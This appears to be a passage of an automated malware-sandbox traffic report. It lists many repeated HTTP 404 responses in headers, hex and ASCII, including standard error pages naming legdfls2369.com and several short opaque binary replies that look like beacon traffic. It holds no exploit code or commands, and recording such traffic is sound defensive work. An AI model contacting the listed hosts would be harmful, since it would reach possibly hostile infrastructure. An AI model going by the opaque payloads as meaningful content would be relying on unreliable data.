HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at legdfls2369.com Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat, 02 Dec 2023 17:02:28 GMTServer: Apache/2.4.41 (Ubuntu)Content-Length: 412Connection: closeContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 6c 65 67 64 66 6c 73 32 33 36 39 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at legdfls2369.com Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat, 02 Dec 2023 17:02:28 GMTServer: Apache/2.4.41 (Ubuntu)Content-Length: 412Connection: closeContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 6c 65 67 64 66 6c 73 32 33 36 39 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at legdfls2369.com Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat, 02 Dec 2023 17:02:29 GMTServer: Apache/2.4.41 (Ubuntu)Content-Length: 412Connection: closeContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 6c 65 67 64 66 6c 73 32 33 36 39 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at legdfls2369.com Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Sat, 02 Dec 2023 17:03:10 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 37 0d 0a 03 00 00 00 1f 3d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 7=[0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Sat, 02 Dec 2023 17:03:10 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 37 0d 0a 03 00 00 00 1f 3d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 7=[0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Sat, 02 Dec 2023 17:03:11 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 37 0d 0a 03 00 00 00 1f 3d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 7=[0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Sat, 02 Dec 2023 17:03:12 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 37 0d 0a 03 00 00 00 1f 3d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 7=[0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Sat, 02 Dec 2023 17:03:13 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 37 0d 0a 03 00 00 00 1f 3d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 7=[0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Sat, 02 Dec 2023 17:03:15 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 37 0d 0a 03 00 00 00 1f 3d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 7=[0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Sat, 02 Dec 2023 17:03:16 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 37 0d 0a 03 00 00 00 1f 3d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 7=[0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Sat, 02 Dec 2023 17:03:19 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 37 0d 0a 03 00 00 00 1f 3d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 7=[0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Sat, 02 Dec 2023 17:03:20 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 37 0d 0a 03 00 00 00 1f 3d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 7=[0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Sat, 02 Dec 2023 17:03:21 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 37 0d 0a 03 00 00 00 1f 3d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 7=[0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Sat, 02 Dec 2023 17:03:23 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 37 0d 0a 03 00 00 00 1f 3d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 7=[0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Sat, 02 Dec 2023 17:03:27 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 37 0d 0a 03 00 00 00 1f 3d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 7=[0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Sat, 02 Dec 2023 17:03:38 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 37 0d 0a 03 00 00 00 1f 3d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 7=[0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Sat, 02 Dec 2023 17:03:48 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 37 0d 0a 03 00 00 00 1f 3d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 7=[0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat, 02 Dec 2023 17:03:57 GMTServer: Apache/2.4.41 (Ubuntu)Content-Length: 29Connection: closeContent-Type: text/html; charset=utf-8Data Raw: 19 00 00 00 8f 3b 43 7d 00 6a d7 62 bf 75 60 57 ed a7 e7 10 11 14 e6 93 ac ec aa 40 55 Data Ascii: ;C}jbu`W@U
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Sat, 02 Dec 2023 17:04:04 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 37 0d 0a 03 00 00 00 1f 3d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 7=[0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat, 02 Dec 2023 17:04:14 GMTServer: Apache/2.4.41 (Ubuntu)Content-Length: 29Connection: closeContent-Type: text/html; charset=utf-8Data Raw: 19 00 00 00 8f 3b 43 7d 00 6a d7 62 bf 75 60 57 ed a7 e7 10 11 14 e6 93 ac ec aa 40 55 Data Ascii: ;C}jbu`W@U
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Sat, 02 Dec 2023 17:04:21 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 37 0d 0a 03 00 00 00 1f 3d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 7=[0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlServer: Microsoft-IIS/7.5X-Powered-By: ASP.NETDate: Sat, 02 Dec 2023 17:04:26 GMTContent-Length: 1163Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 67 62 32 33 31 32 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 d5 d2 b2 bb b5 bd ce c4 bc fe bb f2 c4 bf c2 bc a1 a3 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 45 45 45 45 45 3b 7d 0d 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 7d 20 0d 0a 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0d 0a 23 68 65 61 64 65 72 7b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 32 25 20 36 70 78 20 32 25 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 74 72 65 62 75 63 68 65 74 20 4d 53 22 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 35 35 35 35 35 3b 7d 0d 0a 23 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 32 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 46 46 3b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 68 65 61 64 65 72 22 3e 3c 68 31 3e b7 fe ce f1 c6 f7 b4 ed ce f3 3c 2f 68 31 3e 3c 2f 64
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat, 02 Dec 2023 17:04:38 GMTServer: ApacheContent-Length: 315Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat, 02 Dec 2023 17:04:38 GMTServer: ApacheContent-Length: 315Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Server: Microsoft-IIS/10.0X-UA-Compatible: IE=edge,chrome=1X-Powered-By: PbootCMSSet-Cookie: lg=cn; path=/X-Powered-By: ASP.NETDate: Sat, 02 Dec 2023 17:04:38 GMTContent-Length: 766Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e e9 94 99 e8 af af e4 bf a1 e6 81 af 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 30 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 70 70 6c 65 2d 6d 6f 62 69 6c 65 2d 77 65 62 2d 61 70 70 2d 63 61 70 61 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 79 65 73 22 20 2f 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 0a 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 31 30 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 35 25 3b 22 3e 0a 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 32 30 70 78 3b 22 3e 3c 69 6d 67 20 73 72 63 3d 22 2f 63 6f 72 65 2f 74 65 6d 70 6c 61 74 65 2f 66 61 63 65 30 32 2e 70 6e 67 22 20 68 65 69 67 68 74 3d 22 31 32 30 22 3e 3c 2f 64 69 76 3e 0a 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 32 30 70 78 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 32 30 70 78 3b 22 3e e6 82 a8 e8 ae bf e9 97 ae e7 9a 84 e9 a1 b5 e9 9d a2 e4 b8 8d e5 ad 98 e5 9c a8 ef bc 8c e8 af b7 e6 a0 b8 e5 af b9 e5 90 8e e9 87 8d e8 af 95 ef bc 81 20 3c 73 70 61 6e 20 69 64 3d 22 74 69 6d 65 22 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 31 38 70 78 3b 22 3e 3c 2f 73 70 61 6e 3e 3c 2f 64 69 76 3e 0a 20 20 20 20 3c 64 69 76 3e 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 62 6f 72 64 65 72 2d 74 6f 70 3a 31 70 78 20 73 6f 6c 69 64 20 23 63 63 63 3b 63 6f 6c 6f 72 3a 23 63 63 63 3b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 32 70 78 3b 22 3e 0a 20 20 20 09 09 e7 a8 8b e5 ba 8f e7 89 88 e6 9c ac ef bc 9a 33 2e 32 2e 35 2d 32 30 32 33 30 34 32 31 0a 20 20 20 20 3c 2f 73 70 61 6e 3e 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 0a 0a 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <!doctype html><html><head> <meta charset="utf-8"> <title></title> <meta name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0, maximum-scale=1.0, user-scalable=0" /><meta name="apple-mobile-web-app-capable" content="yes" /></head><body><div style="margin-left:10%;margin-top:5%;"> <div style="margin-bottom:20px;"><img src="/core/template/face02.png" he
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat, 02 Dec 2023 17:04:38 GMTServer: Apache/2.4.41 (Ubuntu)Content-Length: 29Connection: closeContent-Type: text/html; charset=utf-8Data Raw: 19 00 00 00 8f 3b 43 7d 00 6a d7 62 bf 75 60 57 ed a7 e7 10 11 14 e6 93 ac ec aa 40 55 Data Ascii: ;C}jbu`W@U
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat, 02 Dec 2023 17:04:38 GMTServer: ApacheContent-Length: 315Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
